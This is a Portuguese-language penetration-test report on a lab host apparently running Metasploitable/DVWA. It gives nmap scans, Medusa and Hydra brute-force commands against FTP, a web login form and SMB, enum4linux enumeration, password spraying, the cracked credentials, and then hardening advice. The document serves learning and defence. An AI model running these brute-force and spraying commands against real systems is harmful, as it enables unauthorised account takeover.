

# Resumo do Teste

Este relatório documenta o processo de varredura, enumeração e exploração do host **192.168.56.101**, usando ferramentas clássicas de pentest ofensivo.  
Inclui: wordlists personalizadas, brute force em FTP, brute force web, enumeração SMB, password spraying e análise de vulnerabilidades.

## Varredura de Serviços – Nmap

```
nmap -sV -p 21,22,80,445,139 192.168.56.101
```

**Serviços identificados:**

- **21/tcp – FTP**
- **22/tcp – SSH**
- **80/tcp – HTTP**
- **139, 445 – SMB**
- **Apache + PHP** (DVWA rodando)

## Teste de Acesso FTP

[ftp 192.168.56.101](ftp://192.168.56.101)

**Objetivo:** verificar banner, permissões e tentar login básico.

## Criação de Wordlists

```
echo -e 'user\nnmsfadmin\nnadmin\nnroot' > users.txt
```

```
echo -e '123456\npassword\nqwert\nnmsfadmin' > pass.txt
```

## Força Bruta – FTP (Medusa)

```
medusa -h 192.168.56.101 -U users.txt -P pass.txt -M ftp -t 6
```

## Força Bruta Web – DVWA

**URL alvo:**

<http://192.168.56.101/dvwa/login.php>

## Ataque Web-Form com Medusa

```
medusa -h 192.168.56.101 \
-U users.txt \
-P pass.txt \
-M web-form \
-m FORM:"username^USER^&password^PASS^&Login=Login" \
-m PATH:"/dvwa/login.php" \
-m DENY:"Login failed" \
-t 6
```

## Hydra – Brute Force no Formulário

```
hydra -L users.txt -P pass.txt 192.168.56.101 http-post-form \
"/dvwa/login.php:username^USER^&password^PASS^&Login=Login:F=Login
failed"
```

Credenciais obtidas:

User: admin - Senha: password

## Enumeração SMB – Enum4linux

```
enum4linux -a 192.168.56.101 | tee enum4_output.txt
```

## Password Spraying – SMB

Lista Usuarios:

```
echo -e 'user\nmsfadmin\nservice' > smb_users.txt
```

Lista Senhas:

```
echo -e 'password\n123456\nWelcome123\nmsfadmin' > senhas_spray.txt
```

Ataque:

```
medusa -h 192.168.56.101 -U smb_users.txt -P senhas_spray.txt -M smbnt -t 2 -T 50
```

Credencial obtida: User: msfadmin – Senha: msfadmin

## Acesso ao SMB

smbclient -L //192.168.56.101 -U msfadmin

## Análise de Vulnerabilidades

Com base nas descobertas:

**Vulnerabilidade 1 — Senhas fracas**

Usuários com credenciais fáceis:

admin:password

msfadmin:msfadmin

Wordlists extremamente pequenas conseguiram comprometer o host.

**Vulnerabilidade 2 — Serviços críticos expostos**

FTP aberto sem restrições → permite brute-force e possível vazamento de arquivos.

SMB aberto sem hardening → exposição de usuários e shares.

**Vulnerabilidade 3 — Aplicação Web DVWA**

Configurada de modo inseguro para testes:

sem bloqueio de tentativas

sem CAPTCHA

sem WAF

**Vulnerabilidade 4 — Falta de controles de autenticação**

Nenhum mecanismo anti brute-force:

sem Lockout

sem Delay

sem Rate Limit

**Vulnerabilidade 5 — Enumeração fácil via SMB**

Enum4linux expôs:

usuários

possíveis shares

políticas de senha fracas

## **Medidas de Mitigação**

**Implementar políticas de senha forte**

**Mínimo 10+ caracteres**

**Complexidade obrigatória**

**Troca periódica**

**Bloquear brute force**

**Fail2ban (Linux)**

**Lockout após tentativas falhas**

**Rate limiting (Nginx/Apache)**

**Restringir exposição SMB**

**Usar firewall para liberar apenas IPs confiáveis**

**Desabilitar SMBv1**

**Limitar enumeração anônima**

**Endurecer o servidor Web**

**Habilitar WAF (ModSecurity)**

**Usar HTTPS**

**Restringir diretórios sensíveis**

**Desabilitar FTP**

**Substituir por SFTP ou FTPS**

**Desabilitar login anônimo**

**Monitoramento e Logs**

**Ativar auditoria de login**

**Centralizar logs**

**Alertas de acesso suspeito**

## **Conclusão Final**

O alvo 192.168.56.101 apresentou diversas fragilidades exploráveis com pouco esforço, incluindo senhas fracas, serviços inseguros e falhas de autenticação.

As vulnerabilidades permitiram acesso total via serviços Web e SMB.